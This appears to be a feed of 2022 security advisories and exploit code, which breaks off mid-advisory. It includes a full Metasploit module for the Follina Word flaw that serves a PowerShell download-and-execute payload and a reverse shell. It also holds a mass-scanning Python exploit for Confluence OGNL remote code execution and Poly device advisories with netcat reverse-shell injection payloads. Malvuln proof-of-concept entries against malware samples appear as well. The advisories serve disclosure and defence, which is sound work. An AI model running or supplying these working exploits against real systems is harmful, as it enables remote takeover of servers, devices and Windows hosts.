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<pre><code>Description: Reflected Cross-Site Scripting Affected Plugin: Download Manager Plugin Slug: download-manager Plugin Developer: codename065 Affected Versions: <= 3.2.42 CVE ID: CVE-2022-1985 CVSS Score: 6.1 (Medium) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Researcher/s: Rafie Muhammad (Yeraisci) Fully Patched Version: 3.2.43 Download Manager is a file and document management plugin to help manage and control file downloads with various file download controls to restrict unauthorized file access. The plugin also provides a complete solution to sell digital products from WordPress sites, including checkout functionality to complete an order. One feature of the plugin is the ability to use a shortcode to embed files and other assets in a page or post. This function was found to be vulnerable to reflected Cross-Site Scripting. Secure coding practices would include checks to sanitize the input received by the page, and escaping that code on the output to ensure that only approved inputs and outputs are presented. Unfortunately, insufficient input sanitization and output escaping on the $_REQUEST[‘frameid’] parameter found in the ~/src/Package/views/shortcode-iframe.php file of the Download Manager plugin made it possible for an attacker to run arbitrary code in a victim’s browser by getting them to click on a specially crafted URL. This is due to the fact that the ‘frameid’ parameter was echoed to the page without sufficient user input validation. Without proper sanitization and escaping in place on user-supplied inputs, JavaScript can be used to manipulate the page. Even an unsophisticated attacker could hijack the form and use it to trick a site administrator into unknowingly disclosing sensitive information, or to collect cookie values. More specialized attackers would use this capability to gain administrator access or add a backdoor and take over the site. If the attacker gains this access, they would have access to the same information the administrator would be able to access, including user details and customer information. In the case of Download Manager, customer information and access to digital products would both be at risk. If an attacker were able to trick an administrator into clicking a link that has been designed to send session cookies to the attacker, add a malicious administrator account, or implement a backdoor on the website, the attacker would also have free reign in the administrator panel, giving them the ability to modify checkout settings and even add fake products to the website. Conclusion In today’s post, we discussed a reflected Cross-Site Scripting (XSS) vulnerability in Download Manager. While this would require tricking an administrator into clicking a link or performing some other action, it still offers the potential for site takeover. As such we urge you to update to the latest version of this plugin, 3.2.43 as of this writing, as soon as possible. All Wordfence users, including Free, Premium, Care, and Response, are protected from exploits targeting this vulnerability. </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super( update_info( info, 'Name' => 'Microsoft Office Word MSDTJS', 'Description' => %q{ This module generates a malicious Microsoft Word document that when loaded, will leverage the remote template feature to fetch an `HTML` document and then use the `ms-msdt` scheme to execute `PowerShell` code. }, 'References' => [ ['CVE', '2022-30190'], ['URL', 'https://www.reddit.com/r/blueteamsec/comments/v06w2o/suspected_microsoft_word_zero_day_in_the_wild/'], ['URL', 'https://twitter.com/nao_sec/status/1530196847679401984?t=3Pjrpdog_H6OfMHVLMR5eQ&s=19'], ['URL', 'https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/'], ['URL', 'https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e'], ['URL', 'https://twitter.com/GossiTheDog/status/1531608245009367040'], ['URL', 'https://github.com/JMousqueton/PoC-CVE-2022-30190'] ], 'Author' => [ 'nao sec', # Original disclosure. 'mekhalleh (RAMELLA Sébastien)' # Zeop CyberSecurity ], 'DisclosureDate' => '2022-05-29', 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'DisableNops' => true }, 'DefaultOptions' => { 'DisablePayloadHandler' => false, 'FILENAME' => 'msf.docx', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', 'SRVHOST' => Rex::Socket.source_address('1.2.3.4') }, 'Targets' => [ [ 'Microsoft Office Word', {} ] ], 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['Follina'], 'Stability' => [CRASH_SAFE], 'Reliability' => [UNRELIABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options([ OptPath.new('CUSTOMTEMPLATE', [false, 'A DOCX file that will be used as a template to build the exploit.']), OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true]) ]) end def get_file_in_docx(fname) i = @docx.find_index { |item| item[:fname] == fname } unless i fail_with(Failure::NotFound, "This template cannot be used because it is missing: #{fname}") end @docx.fetch(i)[:data] end def get_template_path datastore['CUSTOMTEMPLATE'] || File.join(Msf::Config.data_directory, 'exploits', 'word_msdtjs.docx') end def generate_html uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.ps1" dummy = '' (1..random_int(61, 100)).each do |_n| dummy += '//' + rand_text_alpha(100) + "\n" end cmd = Rex::Text.encode_base64("IEX(New-Object Net.WebClient).downloadString('#{uri}')") js_content = "window.location.href = \"ms-msdt:/id PCWDiagnostic /skip force /param \\\"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'#{cmd}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\\\"\";" if datastore['OBFUSCATE'] print_status('Obfuscate JavaScript content') js_content = Rex::Exploitation::JSObfu.new js_content js_content = js_content.obfuscate(memory_sensitive: false) end html = '<!DOCTYPE html><html><head><meta http-equiv="Expires" content="-1"><meta http-equiv="X-UA-Compatible" content="IE=11"></head><body><script>' html += "\n#{dummy}\n#{js_content}\n" html += '</script></body></html>' html end def inject_docx document_xml = get_file_in_docx('word/document.xml') unless document_xml fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml') end document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels') unless document_xml_rels fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels') end uri = "#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html" @docx.each do |entry| case entry[:fname] when 'word/_rels/document.xml.rels' entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', "#{uri}&#x21;") end end end def normalize_uri(*strs) new_str = strs * '/' new_str = new_str.gsub!('//', '/') while new_str.index('//') # makes sure there's a starting slash unless new_str.start_with?('/') new_str = '/' + new_str end new_str end def on_request_uri(cli, request) header_html = { 'Access-Control-Allow-Origin' => '*', 'Access-Control-Allow-Methods' => 'GET, POST', 'Cache-Control' => 'no-store, no-cache, must-revalidate', 'Content-Type' => 'text/html; charset=UTF-8' } if request.method.eql? 'HEAD' send_response(cli, '', header_html) elsif request.method.eql? 'OPTIONS' response = create_response(501, 'Unsupported Method') response['Content-Type'] = 'text/html' response.body = '' cli.send_response(response) elsif request.raw_uri.to_s.end_with? '.html' print_status('Sending HTML Payload') send_response_html(cli, generate_html, header_html) elsif request.raw_uri.to_s.end_with? '.ps1' print_status('Sending PowerShell Payload') send_response(cli, @payload_data, header_html) end end def pack_docx @docx.each do |entry| if entry[:data].is_a?(Nokogiri::XML::Document) entry[:data] = entry[:data].to_s end end Msf::Util::EXE.to_zip(@docx) end def primer print_status('Generating a malicious docx file') @proto = (datastore['SSL'] ? 'https' : 'http') template_path = get_template_path unless File.extname(template_path).downcase.end_with?('.docx') fail_with(Failure::BadConfig, 'Template is not a docx file!') end print_status("Using template '#{template_path}'") @docx = unpack_docx(template_path) print_status('Injecting payload in docx document') inject_docx print_status("Finalizing docx '#{datastore['FILENAME']}'") file_create(pack_docx) @payload_data = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) super end def random_int(min, max) rand(max - min) + min end def unpack_docx(template_path) document = [] Zip::File.open(template_path) do |entries| entries.each do |entry| if entry.name.downcase.end_with?('.xml', '.rels') content = Nokogiri::XML(entry.get_input_stream.read) if entry.file? elsif entry.file? content = entry.get_input_stream.read end vprint_status("Parsing item from template: #{entry.name}") document << { fname: entry.name, data: content } end end document end end </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/dedad693898bba0e4964e6c9a749d380.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Ransom.Haron Vulnerability: Code Execution Description: Haron looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment. Family: Haron Type: PE32 MD5: dedad693898bba0e4964e6c9a749d380 Vuln ID: MVID-2022-0609 Disclosure: 06/06/2022 Exploit/PoC: 1) Compile the following C code as "VERSION.dll" 2) Place the DLL in same directory as the ransomware 3) Optional - Hide it: attrib +s +h "VERSION.dll" 4) Run the malware #include "windows.h" //By malvuln //Purpose: Exploit Haron /** DISCLAIMER: Author is NOT responsible for any damages whatsoever by using this software or improper malware handling. By using this code you assume and accept all risk implied or otherwise. **/ //gcc -c VERSION.c -m32 //gcc -shared -o VERSION.dll VERSION.o -m32 BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){ switch (reason) { case DLL_PROCESS_ATTACH: MessageBox(NULL, "Haron\nPWNED By MALVULN", "Code Exec PoC", MB_OK); TCHAR buf[MAX_PATH]; GetCurrentDirectory(MAX_PATH, TEXT(buf)); int rc = strcmp("C:\\Windows\\System32", TEXT(buf)); if(rc != 0){ HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid()); if (NULL != handle) { TerminateProcess(handle, 0); CloseHandle(handle); } } break; } return TRUE; } Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/bffc519fbaf2d119bd307cd22368cdc7.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Proxy.Win32.Symbab.o Vulnerability: Heap Corruption Description: The malware listens on TCP port 8080. Attackers who can reach an infected system can send a corrupt HTTP request for the "redirecturl" parameter causing a heap corruption. Family: Symbab Type: PE32 MD5: bffc519fbaf2d119bd307cd22368cdc7 Vuln ID: MVID-2022-0610 Disclosure: 06/06/2022 Memory Dump: (670.1e5c): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=049fff48 edx=00000290 esi=00000003 edi=00000003 eip=7770ed3c esp=049fb564 ebp=049fb6f4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 7770ed3c c21400 ret 14h 0:007> .ecxr eax=00000290 ebx=000002d8 ecx=049fff48 edx=00000290 esi=00450000 edi=00000000 eip=776df2e1 esp=049fbea0 ebp=049fbee0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 ntdll!RtlFreeHeap+0xa1: 776df2e1 8078ff05 cmp byte ptr [eax-1],5 ds:002b:0000028f=?? 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e *** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e FAULTING_IP: ntdll!RtlFreeHeap+a1 776df2e1 8078ff05 cmp byte ptr [eax-1],5 EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 776df2e1 (ntdll!RtlFreeHeap+0x000000a1) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 0000028f Attempt to read from address 0000028f PROCESS_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 0000028f READ_ADDRESS: 0000028f FOLLOWUP_IP: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c 004a260c 83c404 add esp,4 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 00001e5c BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument LAST_CONTROL_TRANSFER: from 744d7065 to 776df2e1 STACK_TEXT: 049fbee0 744d7065 00450000 00000000 00000290 ntdll!RtlFreeHeap+0xa1 049fbf2c 004a260c 00000290 049fff68 004a434a msvcrt!free+0x65 WARNING: Stack unwind information not available. Following frames may be wrong. 049fbf38 004a434a 049fff48 50545448 312e312f Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x260c 049fff68 004a43d7 00000290 00000290 00000004 Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x434a 049fff80 77408654 000002d8 77408630 42500cba Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+0x43d7 049fff94 77704a77 000002d8 37e18a47 00000000 kernel32!BaseThreadInitThunk+0x24 049fffdc 77704a47 ffffffff 77729eca 00000000 ntdll!__RtlUserThreadStart+0x2f 049fffec 00000000 004a438c 000002d8 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: !heap ; ~7s; .ecxr ; kb SYMBOL_STACK_INDEX: 2 SYMBOL_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c FOLLOWUP_NAME: MachineOwner MODULE_NAME: Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7 IMAGE_NAME: Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e DEBUG_FLR_IMAGE_TIMESTAMP: 4168069f FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_c0000005_Trojan-Proxy.Win32.Symbab.o.bffc519fbaf2d119bd307cd22368cdc7.e!Unknown BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_invalid_argument_NULL_CLASS_PTR_DEREFERENCE_INVALID_POINTER_READ_Trojan_Proxy_Win32_Symbab_o_bffc519fbaf2d119bd307cd22368cdc7+260c Followup: MachineOwner Exploit/PoC: curl "http://192.168.18.125:8080/?redirecturl=http://0x41414141" -v Connected to 192.168.18.125 (192.168.18.125) port 8080 (#0) GET /?redirecturl=http://0x41414141 HTTP/1.1 Host: 192.168.18.125:8080 User-Agent: curl/7.47.1 Accept: */* HTTP 1.0, assume close after body HTTP/1.0 400 Bad Request Server: ProxyServer/0.0.1 Mime-Version: 1.0 Date: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html Content-Length: 24 Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Squid-Error: ERR_INVALID_URL 0 X-Cache: MISS from www.rambler.ru Connection: close Unsupported protocol Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/e0f2bee25dd103d92e91e895e313ec34.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Banker.Win32.Banbra.cyt Vulnerability: Insecure Permissions Description: The malware writes a batch script ".bat" file to c drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. Family: Banbra Type: PE32 MD5: e0f2bee25dd103d92e91e895e313ec34 Vuln ID: MVID-2022-0611 Disclosure: 06/06/2022 Exploit/PoC: C:\>cacls autoexec.bat C:\autoexec.bat BUILTIN\Administrators:(ID)F NT AUTHORITY\SYSTEM:(ID)F BUILTIN\Users:(ID)R NT AUTHORITY\Authenticated Users:(ID)C C:\>type autoexec.bat @echo off SET princix=del SET pasta1=c:\windows\downlo~1\gb*.* SET pasta2=c:\windows\downlo~1\*.g?? SET pasta3=c:\windows\downlo~1\g*.* SET pasta4=c:\arquiv~1\GbPlugin\g*.* SET pasta5=c:\arquiv~1\GbPlugin\b*.* SET pasta6=c:\arquiv~1\GbPlugin\c*.* SET pasta55=c:\arquiv~1\GbPlugin\u*.* SET pasta7=c:\windows\downlo~1\Ab*.* SET pasta8=c:\windows\downlo~1\b*.* SET pasta9=c:\windows\downlo~1\Ab*.* SET pasta10=c:\progra~1\GbPlugin\g*.* SET pasta11=c:\progra~1\GbPlugin\b*.* SET pasta12=c:\progra~1\GbPlugin\c*.* SET pasta56=c:\progra~1\GbPlugin\u*.* SET pasta13=C:\progra~1\Scpad\s*.* SET pasta14=c:\arquiv~1\Scpad\s*.* SET pasta15=C:\WINDOWS\system32\scpsssh*.* %princix% %pasta1% %princix% %pasta2% %princix% %pasta3% %princix% %pasta4% %princix% %pasta5% %princix% %pasta6% %princix% %pasta7% %princix% %pasta8% %princix% %pasta9% %princix% %pasta10% %princix% %pasta11% %princix% %pasta12% %princix% %pasta13% %princix% %pasta14% %princix% %pasta15% %princix% %pasta55% %princix% %pasta56% C:\> C:\>dir autoexec.bat Volume in drive C has no label. Directory of C:\ 05/24/2022 02:26 AM 1,028 autoexec.bat 1 File(s) 1,028 bytes 0 Dir(s) 24,498,929,664 bytes free Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). </code></pre>

<pre><code>#!/usr/bin/python3 # Exploit Title: Confluence Pre-Auth Remote Code Execution via OGNL Injection # Google Dork: N/A # Date: 06/006/2022 # Exploit Author: h3v0x # Vendor Homepage: https://www.atlassian.com/ # Software Link: https://www.atlassian.com/software/confluence/download-archives # Version: All < 7.4.17 versions before 7.18.1 # Tested on: - # CVE : CVE-2022-26134 # https://github.com/h3v0x/CVE-2022-26134 import sys import requests import optparse import multiprocessing from requests.packages import urllib3 from requests.exceptions import MissingSchema, InvalidURL urllib3.disable_warnings() requestEngine = multiprocessing.Manager() session = requests.Session() global paramResults paramResults = requestEngine.list() globals().update(locals()) def spiderXpl(url): globals().update(locals()) if not url.startswith('http'): url='http://'+url headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Connection": "close", "Accept-Encoding": "gzip, deflate"} try: response = requests.get(url + '/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22'+optionsOpt.command+'%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/', headers=headers, verify=False, allow_redirects=False) if(response.status_code == 302): print('Found: '+url+' // '+ response.headers['X-Cmd-Response']) inputBuffer = str(response.headers['X-Cmd-Response']) paramResults.append('Vulnerable application found:'+url+'\n''Command result:'+inputBuffer+'\n') else: pass except requests.exceptions.ConnectionError: print('[x] Failed to Connect: '+url) pass except multiprocessing.log_to_stderr: pass except KeyboardInterrupt: print('[!] Stoping exploit...') exit(0) except (MissingSchema, InvalidURL): pass def banner(): print('[-] CVE-2022-26134') print('[-] Confluence Pre-Auth Remote Code Execution via OGNL Injection \n') def main(): banner() globals().update(locals()) sys.setrecursionlimit(100000) if not optionsOpt.filehosts: url = optionsOpt.url spiderXpl(url) else: f = open(optionsOpt.filehosts) urls = map(str.strip, f.readlines()) multiReq = multiprocessing.Pool(optionsOpt.threads_set) try: multiReq.map(spiderXpl, urls) multiReq.close() multiReq.join() except UnboundLocalError: pass except KeyboardInterrupt: exit(0) if optionsOpt.output: print("\n[!] Saving the output result in: %s" % optionsOpt.output) with open(optionsOpt.output, "w") as f: for result in paramResults: f.write("%s\n" % result) f.close() if __name__ == "__main__": parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)') parser.add_option('-f', '--file', dest="filehosts", help='example.txt') parser.add_option('-t', '--threads', dest="threads_set", type=int,default=10) parser.add_option('-m', '--maxtimeout', dest="timeout", type=int,default=8) parser.add_option('-o', '--output', dest="output", type=str, default='exploit_result.txt') parser.add_option('-c', '--cmd', dest="command", type=str, default='id') optionsOpt, args = parser.parse_args() main() </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220601-1 > ======================================================================= title: Authenticated Command Injection product: Poly Studio X30, Studio X50, Studio X70, G7500 vulnerable version: 3.4.0-292042, 3.5.0-344025, 3.6.0 fixed version: 3.7.0 or higher CVE number: CVE-2022-26481 impact: critical homepage: https://www.poly.com found: 2021-07-14 by: Johannes Kruchem (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Experience full board-room-quality audio, and knock-your-socks-off video, for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically simple to use with support for leading cloud video services built right in—no PC or Mac required. Voices are crisp and clear. Video feels natural. And wireless content sharing lets users collaborate from their devices without cables or pucks." https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50 Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) An authenticated Command Injection vulnerability exists in the web interface when creating a certificate. An attacker is able to execute commands with root privileges. Proof of concept: ----------------- 1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481) When being authenticated: 1. In the system web interface, go to Security > Certificates. 2. Select Create Certificate Signing Request (CSR). 3. In the Certificate Details form, complete the following fields: Common Name (CN): $(busybox nc 10.0.0.1 8888 -e /system/bin/sh) (steps taken from https://documents.polycom.com/bundle/polypartnermode-ag-3-1-1/page/t1919784.html) The previously started nc listener receives a connection from the camera as root: $ nc -lvp 8888 connect to [10.0.0.1] from (UNKNOWN) [10.0.0.2] $ pwd /oem/polycom/bin $ whoami root Vulnerable / tested versions: ----------------------------- At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and G7500 are affected: - 3.4.0 - 3.5.0 - 3.6.0 Vendor contact timeline: ------------------------ 2021-07-14: Contacting vendor through PSIRT email. 2021-07-15: Vendor sent PGP key. 2021-07-16: Advisory was sent to the vendor. 2021-07 to 2022-03: Further coordination with multiple emails and meetings. 2022-03-18: Vendor provides draft advisory. 2022-03 - 2022-06: Patch already available, waiting for vendor advisory release. 2022-06-01: Coordinated release of security advisory. Solution: --------- Update to firmware version 3.7.0 or higher. The firmware can be downloaded from the vendor's support page: https://www.poly.com/us/en/support/products This issue has been documented in the vendor's security advisory PLYTV21-09: https://www.poly.com/content/dam/www/products/support/global/security/2022/PLYTV21-09_Studio-X50-Improper-Neutralization-of-Special-Elements-used-in-an-OS-Command.pdf Workaround: ----------- In order to minimize the risk of exploitation, set a strong password for the web interface and restrict network access to the device. Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Johannes Kruchem / @2022 </code></pre>

<pre><code>SEC Consult Vulnerability Lab Security Advisory < 20220601-0 > ======================================================================= title: Multiple Critical Vulnerabilities product: Poly EagleEye Director II vulnerable version: 2.2.1.1 (Jul 1, 2021) fixed version: 2.2.2.1 or higher CVE number: CVE-2022-26479, CVE-2022-26482 impact: critical homepage: https://www.poly.com found: 2021-07-14 by: Johannes Kruchem (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Why settle for a one-size-fits-all view of your conference room? EagleEye Director II takes video conferencing and conference room web cameras to the next level—with people-tracking technology and automatic zoom. You’ll find that when people aren’t worrying about staying in camera view or how to work a remote control, they stay focused on the bigger issue—solving critical business problems." Source: https://www.poly.com/us/en/products/video-conferencing/studio/studio-x50 Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482) When logged on to the administration web interface, command injection payloads can be inserted in at least four different fields. This happens because the user input is not escaped and gets concatenated with a string which is executed afterwards with "os.system()". The webserver was started as "www-data" who has sudo privileges. 2) Authentication Bypass (CVE-2022-26479) The authentication can be bypassed by creating a specific file on the file system. If this file is created, every API call is executed as admin with no further authentication (sessionid). This behavior could not be found in any documentation. The creation of this file was possible with rsync for which a backdoor account was found. The rsync daemon runs on port 873 and provides the modules "/flag" and "/update". The combination of 1) and 2) leads to an privileged unauthenticated OS command injection. Proof of concept: ----------------- 1) Multiple Authenticated Command Injection Vulnerabilities (CVE-2022-26482) When logged into the web interface, the name of the device can be changed in the settings. A command can be injected with $(<command>) in the name. To bypass the length-limit the payload can be changed in the POST request, which looks as follows: ------------------------------------------------------------------------------- POST /api/deviceName HTTP/1.1 Host: 10.0.0.3 Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE Connection: close {"deviceName":"EEDII-Master $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 8888 >/tmp/f)"} ------------------------------------------------------------------------------- It looks as follows on the host system, where an nc listener was started: $ nc -lvp 8888 connect to [10.0.0.5] from (UNKNOWN) [10.0.0.3] $ whoami www-data Sudo allowed executing commands as root: $ sudo whoami root Also the following request results in command execution. This request was not intercepted but reconstructed from the source code of the application. ------------------------------------------------------------------------------- POST /api/region HTTP/1.1 Host: 10.0.0.3 Cookie: sessionid=ovizy1tgavf9ipd2ha1g6zu379oopqcn; language=StringResource.de-DE Content-Length: 45 {"region":"$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.5 9999 >/tmp/f)"} ------------------------------------------------------------------------------- When enabling 802.1X, one can see that the payload "sudo sh" works as well. In this case an attacker is root immediately: ------------------------------------------------------------------------------- POST /api/ethernetSettings HTTP/1.1 Host: 10.0.0.3 Cookie: language=StringResource.de-DE; 